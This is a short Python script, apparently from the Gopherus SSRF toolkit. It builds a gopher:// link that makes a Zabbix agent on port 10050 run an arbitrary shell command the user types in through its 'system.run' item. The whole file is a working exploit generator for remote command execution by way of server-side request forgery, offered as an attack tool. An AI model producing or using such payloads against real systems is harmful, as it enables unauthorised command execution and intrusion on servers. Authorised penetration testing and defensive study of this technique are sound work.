import urllib
import urllib.parse

def Zabbix():
    print("\033[01m"+"\nExecute SHELL command: \n" + "\033[0m")
    command = input("\033[96m" +"\nEnter Shell Command to Execute: "+ "\033[0m")

    if(not command):
        command = "ls"

    payload = f"system.run[({command});sleep 2s]"
    finalpayload = urllib.parse.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")

    print("\033[93m" + "\nYour gopher link is ready to do SSRF: \n" + "\033[0m")
    print("\033[04m" + f"gopher://127.0.0.1:10050/_{finalpayload}" + "\033[0m")
    print("\n" + "\033[41m" + "-----------Made-by-SpyD3r-----------" + "\033[0m")
    print("\033[41m" + "-----------Modfied-by-mingy---------" + "\033[0m")